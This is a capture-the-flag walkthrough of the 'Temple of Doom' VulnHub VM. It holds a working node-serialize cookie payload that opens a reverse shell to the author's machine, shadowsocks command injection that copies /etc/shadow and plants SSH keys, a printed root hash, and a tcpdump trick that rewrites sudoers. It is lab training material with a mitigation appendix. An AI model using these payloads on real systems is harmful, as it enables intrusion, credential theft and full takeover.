Temple of Doom: 1 ~ VulnHub - CTF Walkthrough

Objective

Retrieve a flag located inside /root folder

Source: [VulnHub.com]

Status: [Completed]

Methodology

Discovery

Setup some env vars to speed up our execution so I don't have to re-type the IP

$ export T=192.168.56.101

Service discovery

# Nmap 7.70 scan initiated Wed Jul 18 07:39:40 2018 as: nmap -sV -sT -T5 -p- -o /media/sf_VM_Transfer/Pentesting/Temple_of_Doom//nmap.txt $T
Nmap scan report for 192.168.56.101
Host is up (0.0017s latency).
Not shown: 65533 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.7 (protocol 2.0)
666/tcp open  http    Node.js Express framework
MAC Address: 08:00:27:BB:24:1C (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 18 07:40:19 2018 -- 1 IP address (1 host up) scanned in 38.75 seconds

Entry Point #1 - Port 666 (nodejs)

Enumeration

Hitting http://192.168.56.101:666 presents us with "under construction". Refreshing the page results in an interesting error.

SyntaxError: Unexpected token F in JSON at position 79
    at JSON.parse (<anonymous>)
    at Object.exports.unserialize (/home/nodeadmin/.web/node_modules/node-serialize/lib/serialize.js:62:16)
    at /home/nodeadmin/.web/server.js:12:29
    at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)
    at next (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)
    at /home/nodeadmin/.web/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:335:12)
    at next (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:275:10)

Upon further examiniation as to what could've triggered that behavior it became apparent that their service is setting a cookie profile, containing some sort of base64 encoded string

eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0%3D

Which decodes to the following JSON object.

'{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}7'

As we can see, there are obvious typos which will break JSON interpreter. What is more important at this point is that we have Something that breaks!!!! and so let's try using it to our advantage!

Exploitation

Getting a low-level shell

Checking the source code for serialize.js we confirm that it breaks while trying to de-serialize our cookie value (JSON.parse(obj)

  unserialize = function(obj, originObj) {
    var isIndex;
    if (typeof obj === 'string') {
      obj = JSON.parse(obj);
      isIndex = true;
}

But the more critical find inside that source is the following function which shows that if we fix our serialization error we may be able to get nodejs to execute an arbitrary piece of code!

        } else if(typeof obj[key] === 'string') {
          if(obj[key].indexOf(FUNCFLAG) === 0) {
            obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
} else if(obj[key].indexOf(CIRCULARFLAG) === 0) {

And as a proof-of-concept I'll use the exploit to do something fun - bring down the server! (or in more technical terms - force the server process to exit)

{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","execs":"_$$ND_FUNC$$_process.exit(0)"}

Refreshing the browser we now get Unable to connect - one of few times when this message is actually a good sight :)

After trying and tweaking a few different pieces of code this is the one that ended up working for me (192.168.56.200 is the IP of my client / kali machine:

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1337, "192.168.56.200", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

Before you can pass that as a Cookie value you need to compact that code into a string (I'm using http://jdstiles.com/java/cct.html but I'm sure there're better ways to do it, even off-line)

Compacting the above give us this

40, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 110, 101, 116, 32, 61, 32, 114, 101, 113, 117, 105, 114, 101, 40, 34, 110, 101, 116, 34, 41, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 99, 112, 32, 61, 32, 114, 101, 113, 117, 105, 114, 101, 40, 34, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 34, 41, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 104, 32, 61, 32, 99, 112, 46, 115, 112, 97, 119, 110, 40, 34, 47, 98, 105, 110, 47, 115, 104, 34, 44, 32, 91, 93, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 99, 108, 105, 101, 110, 116, 32, 61, 32, 110, 101, 119, 32, 110, 101, 116, 46, 83, 111, 99, 107, 101, 116, 40, 41, 59, 10, 32, 32, 32, 32, 99, 108, 105, 101, 110, 116, 46, 99, 111, 110, 110, 101, 99, 116, 40, 49, 51, 51, 55, 44, 32, 34, 49, 57, 50, 46, 49, 54, 56, 46, 53, 54, 46, 50, 48, 48, 34, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 99, 108, 105, 101, 110, 116, 46, 112, 105, 112, 101, 40, 115, 104, 46, 115, 116, 100, 105, 110, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 104, 46, 115, 116, 100, 111, 117, 116, 46, 112, 105, 112, 101, 40, 99, 108, 105, 101, 110, 116, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 104, 46, 115, 116, 100, 101, 114, 114, 46, 112, 105, 112, 101, 40, 99, 108, 105, 101, 110, 116, 41, 59, 10, 32, 32, 32, 32, 125, 41, 59, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 47, 97, 47, 59, 32, 47, 47, 32, 80, 114, 101, 118, 101, 110, 116, 115, 32, 116, 104, 101, 32, 78, 111, 100, 101, 46, 106, 115, 32, 97, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 32, 102, 111, 114, 109, 32, 99, 114, 97, 115, 104, 105, 110, 103, 10, 125, 41, 40, 41, 59, 10

Which we pass to execs as such:

{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","execs":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(40, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 110, 101, 116, 32, 61, 32, 114, 101, 113, 117, 105, 114, 101, 40, 34, 110, 101, 116, 34, 41, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 99, 112, 32, 61, 32, 114, 101, 113, 117, 105, 114, 101, 40, 34, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 34, 41, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 104, 32, 61, 32, 99, 112, 46, 115, 112, 97, 119, 110, 40, 34, 47, 98, 105, 110, 47, 115, 104, 34, 44, 32, 91, 93, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 99, 108, 105, 101, 110, 116, 32, 61, 32, 110, 101, 119, 32, 110, 101, 116, 46, 83, 111, 99, 107, 101, 116, 40, 41, 59, 10, 32, 32, 32, 32, 99, 108, 105, 101, 110, 116, 46, 99, 111, 110, 110, 101, 99, 116, 40, 49, 51, 51, 55, 44, 32, 34, 49, 57, 50, 46, 49, 54, 56, 46, 53, 54, 46, 50, 48, 48, 34, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 99, 108, 105, 101, 110, 116, 46, 112, 105, 112, 101, 40, 115, 104, 46, 115, 116, 100, 105, 110, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 104, 46, 115, 116, 100, 111, 117, 116, 46, 112, 105, 112, 101, 40, 99, 108, 105, 101, 110, 116, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 104, 46, 115, 116, 100, 101, 114, 114, 46, 112, 105, 112, 101, 40, 99, 108, 105, 101, 110, 116, 41, 59, 10, 32, 32, 32, 32, 125, 41, 59, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 47, 97, 47, 59, 32, 47, 47, 32, 80, 114, 101, 118, 101, 110, 116, 115, 32, 116, 104, 101, 32, 78, 111, 100, 101, 46, 106, 115, 32, 97, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 32, 102, 111, 114, 109, 32, 99, 114, 97, 115, 104, 105, 110, 103, 10, 125, 41, 40, 41, 59, 10))}()"}

The final, base64-encoded version looks like this:

eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiZXhlY3MiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IGV2YWwoU3RyaW5nLmZyb21DaGFyQ29kZSg0MCwgMTAyLCAxMTcsIDExMCwgOTksIDExNiwgMTA1LCAxMTEsIDExMCwgNDAsIDQxLCAxMjMsIDEwLCAzMiwgMzIsIDMyLCAzMiwgMTE4LCA5NywgMTE0LCAzMiwgMTEwLCAxMDEsIDExNiwgMzIsIDYxLCAzMiwgMTE0LCAxMDEsIDExMywgMTE3LCAxMDUsIDExNCwgMTAxLCA0MCwgMzQsIDExMCwgMTAxLCAxMTYsIDM0LCA0MSwgNDQsIDEwLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDk5LCAxMTIsIDMyLCA2MSwgMzIsIDExNCwgMTAxLCAxMTMsIDExNywgMTA1LCAxMTQsIDEwMSwgNDAsIDM0LCA5OSwgMTA0LCAxMDUsIDEwOCwgMTAwLCA5NSwgMTEyLCAxMTQsIDExMSwgOTksIDEwMSwgMTE1LCAxMTUsIDM0LCA0MSwgNDQsIDEwLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDExNSwgMTA0LCAzMiwgNjEsIDMyLCA5OSwgMTEyLCA0NiwgMTE1LCAxMTIsIDk3LCAxMTksIDExMCwgNDAsIDM0LCA0NywgOTgsIDEwNSwgMTEwLCA0NywgMTE1LCAxMDQsIDM0LCA0NCwgMzIsIDkxLCA5MywgNDEsIDU5LCAxMCwgMzIsIDMyLCAzMiwgMzIsIDExOCwgOTcsIDExNCwgMzIsIDk5LCAxMDgsIDEwNSwgMTAxLCAxMTAsIDExNiwgMzIsIDYxLCAzMiwgMTEwLCAxMDEsIDExOSwgMzIsIDExMCwgMTAxLCAxMTYsIDQ2LCA4MywgMTExLCA5OSwgMTA3LCAxMDEsIDExNiwgNDAsIDQxLCA1OSwgMTAsIDMyLCAzMiwgMzIsIDMyLCA5OSwgMTA4LCAxMDUsIDEwMSwgMTEwLCAxMTYsIDQ2LCA5OSwgMTExLCAxMTAsIDExMCwgMTAxLCA5OSwgMTE2LCA0MCwgNDksIDUxLCA1MSwgNTUsIDQ0LCAzMiwgMzQsIDQ5LCA1NywgNTAsIDQ2LCA0OSwgNTQsIDU2LCA0NiwgNTMsIDU0LCA0NiwgNTAsIDQ4LCA0OCwgMzQsIDQ0LCAzMiwgMTAyLCAxMTcsIDExMCwgOTksIDExNiwgMTA1LCAxMTEsIDExMCwgNDAsIDQxLCAxMjMsIDEwLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDk5LCAxMDgsIDEwNSwgMTAxLCAxMTAsIDExNiwgNDYsIDExMiwgMTA1LCAxMTIsIDEwMSwgNDAsIDExNSwgMTA0LCA0NiwgMTE1LCAxMTYsIDEwMCwgMTA1LCAxMTAsIDQxLCA1OSwgMTAsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMTE1LCAxMDQsIDQ2LCAxMTUsIDExNiwgMTAwLCAxMTEsIDExNywgMTE2LCA0NiwgMTEyLCAxMDUsIDExMiwgMTAxLCA0MCwgOTksIDEwOCwgMTA1LCAxMDEsIDExMCwgMTE2LCA0MSwgNTksIDEwLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDExNSwgMTA0LCA0NiwgMTE1LCAxMTYsIDEwMCwgMTAxLCAxMTQsIDExNCwgNDYsIDExMiwgMTA1LCAxMTIsIDEwMSwgNDAsIDk5LCAxMDgsIDEwNSwgMTAxLCAxMTAsIDExNiwgNDEsIDU5LCAxMCwgMzIsIDMyLCAzMiwgMzIsIDEyNSwgNDEsIDU5LCAxMCwgMzIsIDMyLCAzMiwgMzIsIDExNCwgMTAxLCAxMTYsIDExNywgMTE0LCAxMTAsIDMyLCA0NywgOTcsIDQ3LCA1OSwgMzIsIDQ3LCA0NywgMzIsIDgwLCAxMTQsIDEwMSwgMTE4LCAxMDEsIDExMCwgMTE2LCAxMTUsIDMyLCAxMTYsIDEwNCwgMTAxLCAzMiwgNzgsIDExMSwgMTAwLCAxMDEsIDQ2LCAxMDYsIDExNSwgMzIsIDk3LCAxMTIsIDExMiwgMTA4LCAxMDUsIDk5LCA5NywgMTE2LCAxMDUsIDExMSwgMTEwLCAzMiwgMTAyLCAxMTEsIDExNCwgMTA5LCAzMiwgOTksIDExNCwgOTcsIDExNSwgMTA0LCAxMDUsIDExMCwgMTAzLCAxMCwgMTI1LCA0MSwgNDAsIDQxLCA1OSwgMTApKX0oKSJ9

N.B. You can also use https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py to generate payload. Something I found but did not end up using all the way.

Kicked off a nc session on my client / kali host. Plugged in the encoded value into the profile cookie, refreshed the page and yei! we have a shell!

root@blaksec:# nc -vvnl -p 1337
listening on [any] 1337 ...
connect to [192.168.56.200] from (UNKNOWN) [192.168.56.101] 42730
ls

whoami
nodeadmin
pwd
/home/nodeadmin
python -c 'import pty; pty.spawn("/bin/bash")'

[nodeadmin@localhost ~]$

Personally I find nc shells a bit annoying and try to secure a more common way to log in whenever I get a change. In this case I'll set up a key-pair, grab user's private key and use it to log in to the host from now on.

nodeadmin@localhost:~  ssh-keygen
.... magic ....
nodeadmin@localhost:~  cat ~/.ssh/id_rsa.pub > ~/.ssh/authorized_keys
nodeadmin@localhost:~  cat ~/.ssh/id_rsa << copy/paste the output locally as ~root/.ssh/doom.id_rsa

Now let's try ssh from our kali box

# ssh -i ~/.ssh/doom.id_rsa nodeadmin@192.168.56.101 
nodeadmin@localhost:~

Priv Esc

Tried a few things w/out much success

  • No sudo for nodeadmin
  • No SUID executables to exploit
  • No access to /etc/shadow
  • No access to fireman account but at least we know it exists
Taking a look at the process table
[nodeadmin@localhost bin]$ ps faux |grep ss |grep root
root       711  0.0  0.0 299692  3612 ?        Ssl  10:12   0:00 /usr/sbin/gssproxy -D
root       738  0.0  0.1  79544  6972 ?        Ss   10:12   0:00 /usr/sbin/sshd -D -oCiphers=aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc -oMACs=hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,umac-128@openssh.com,hmac-sha2-512 -oGSSAPIKexAlgorithms=gss-gex-sha1-,gss-group14-sha1- -oKexAlgorithms=curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1
root      5669  0.0  0.1 129908  7964 ?        Ss   17:45   0:00  \_ sshd: nodeadmin [priv]
root       878  0.0  0.0  52236  3696 ?        Ss   10:12   0:00  \_ /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root       854  0.0  0.1 301464  4516 ?        S    10:12   0:00 su fireman -c /usr/local/bin/ss-manager

That ss-manager entry sure looks interesting!!!

[nodeadmin@localhost bin]$ /usr/local/bin/ss-manager --version
 2018-07-18 18:04:50 ERROR: Unrecognized option: (null)

shadowsocks-libev 3.1.0

Checking google for "site: exploit-db.com shadowsocks-libev 3.1.0" brings us to https://www.exploit-db.com/exploits/43006/ (X41 D-Sec GmbH Security Advisory: X41-2017-010)

Proof-of-concept:

nc -u 127.0.0.1 8839
    add: {"server_port":8003, "password":"test", "method":"||cat /etc/shadow > 
/tmp/.8kdf82llsdfjlasdfdsdf||"}

And looks like we're in luck - /tmp/.8kdf82llsdfjlasdfdsdf contains a copy of /etc/shadow with all the hashes!

Going Lateral

Google did not return anything for root:$6$jA85omnRVznNFM4j$voN29bYWJUlRbxgsqia46oC9IK/mdRK5B.IYUrJYs196sfA3ye3rSV790EoD76ABKu29CdtnAXQtIAo6OpNWc1 so I spun out a copy of john to run in background while I try to acquire additional access laterally.

Back to that shadowsocks-libdev to try few more things

The ss-manager uses UDP port 8830 to get control commands on 127.0.0.1.
By default no authentication is required, although a password can be set
with the '-k' parameter.

First things first - let's see what this fireman account is about. For this I'll inject user's authorized_keys with my public key

[nodeadmin@localhost bin]$ nc -u 127.0.0.1 8839
add: {"server_port":8003, "password":"test", "method":"||cat /tmp/id_rsa.pub > ~/.ssh/authorized_keys && cat ~/.ssh/authorized_keys > /tmp/fireman||"}
ok

Result?

[nodeadmin@localhost bin]$ ssh fireman@localhost
The authenticity of host 'localhost (::1)' can't be established.
ECDSA key fingerprint is SHA256:1eJE7yDTRsXrbiPO/at+KaGAkGw3oeqo1SabMun84zE.
ECDSA key fingerprint is MD5:c3:06:5f:7f:17:b6:cb:bc:79:6b:46:46:cc:11:3a:7d.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Last login: Wed Jul 18 10:12:25 2018
[fireman@localhost ~]$

OK so looks like we can do a little more with as fireman

[fireman@localhost ~]$ sudo -l
Matching Defaults entries for fireman on localhost:
    !visiblepw, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
    LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fireman may run the following commands on localhost:
    (ALL) NOPASSWD: /sbin/iptables
    (ALL) NOPASSWD: /usr/bin/nmcli
    (ALL) NOPASSWD: /usr/sbin/tcpdump
Getting root

From here it is a text-book sudo abuse - we'll exploit tcpdump ability to execute external command. The original idea behind the feature is to allow for post-rotation processing of dump files (e.g. compressing with gzip). We'll use that feature for something more fun - we will give us rights to execute any command as root!

$ cat /tmp/.r994389rtlkjslkdf8822032 
id
cp /etc/sudoers /tmp/sudoers.original
echo "fireman ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
cp /etc/sudoers /tmp/sudoers.new

[fireman@localhost ~]$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.r994389rtlkjslkdf8822032 -Z root
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
10 packets received by filter
0 packets dropped by kernel
[fireman@localhost ~]$ uid=0(root) gid=0(root) groups=0(root)

[fireman@localhost ~]$ sudo -l
Matching Defaults entries for fireman on localhost:
    !visiblepw, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
    LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fireman may run the following commands on localhost:
    (ALL) NOPASSWD: /sbin/iptables
    (ALL) NOPASSWD: /usr/bin/nmcli
    (ALL) NOPASSWD: /usr/sbin/tcpdump
    (ALL) NOPASSWD: ALL

[fireman@localhost ~]$ sudo /bin/bash

That's it!

[root@localhost ~]# ls
flag.txt
[root@localhost ~]# cat flag.txt 
[+] You're a soldier. 
[+] One of the best that the world could set against
[+] the demonic invasion.  

+-----------------------------------------------------------------------------+
| |       |\                                           -~ /     \  /          |
|~~__     | \                                         | \/       /\          /|
|    --   |  \                                        | / \    /    \     /   |
|      |~_|   \                                   \___|/    \/         /      |
|--__  |   -- |\________________________________/~~\~~|    /  \     /     \   |
|   |~~--__  |~_|____|____|____|____|____|____|/ /  \/|\ /      \/          \/|
|   |      |~--_|__|____|____|____|____|____|_/ /|    |/ \    /   \       /   |
|___|______|__|_||____|____|____|____|____|__[]/_|----|    \/       \  /      |
|  \mmmm :   | _|___|____|____|____|____|____|___|  /\|   /  \      /  \      |
|      B :_--~~ |_|____|____|____|____|____|____|  |  |\/      \ /        \   |
|  __--P :  |  /                                /  /  | \     /  \          /\|
|~~  |   :  | /                                 ~~~   |  \  /      \      /   |
|    |      |/                        .-.             |  /\          \  /     |
|    |      /                        |   |            |/   \          /\      |
|    |     /                        |     |            -_   \       /    \    |
+-----------------------------------------------------------------------------+
|          |  /|  |   |  2  3  4  | /~~~~~\ |       /|    |_| ....  ......... |
|          |  ~|~ | % |           | | ~J~ | |       ~|~ % |_| ....  ......... |
|   AMMO   |  HEALTH  |  5  6  7  |  \===/  |    ARMOR    |#| ....  ......... |
+-----------------------------------------------------------------------------+
			
		FLAG: kre0cu4jl4rzjicpoyeahright     

[+] Congratulations on completing this VM & I hope you enjoyed my first boot2root.

[+] You can follow me on twitter: @0katz

[+] Thanks to the homie: @Pink_P4nther

Final Notes

VM owner mentions two different ways to get root. I might try to find a second way. One day! :)

Another important note - if you have way to do it (e.g. running a VM), take snapshots and take them often! I messed up that last /etc/sudoers modification, locking myself out of ability to execute any sudo and had to restore VM to its pristine state which made me waste my precious time re-typing and re-copying stuff!! :\

Appendix A: Vulnerability Detail and Mitigation

Unpatched Software Components
Rating High
Description Untrusted data passed into the unserialize() function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE).
Impact Affected versions of node-serialize can be abused to execute arbitrary code via an immediately invoked function expression (IIFE) if untrusted user input is passed into unserialize(). In this specific case we were able to exploit this vulnerability to spawn a sub-process creating a reverse shell environment accessible from our attack host.
Remediation There is no direct patch for this issue. Vendor recommends the following work-arounds:

To avoid the security issues, at least one of the following methods should be taken:

1. Make sure to send serialized strings internally, isolating them from potential hackers. For example, only sending the strings from backend to fronend and always using HTTPS instead of HTTP.

2. Introduce public-key cryptosystems (e.g. RSA) to ensure the strings not being tampered with.

More details at https://nodesecurity.io/advisories/311

Unpatched Software Components
Rating High
Description The system is running an outdated version of shadowsocks-libev (3.1.0)
Impact If mis-configured, (i.e. configured to accept un-authenticated requests via UDP port), the software would allow an attacker to execute arbitrary commands as the process owner. In this specific scenario software was running as root, allowing us to modify files owned by root user, eventually leading to privilege escalation and full system takeover.
Remediation Update vulnerable packages to the latest supported version. Enable password protection to prevent unauthenticated calls

More details on this vulnerability can be found at https://www.exploit-db.com/exploits/43006/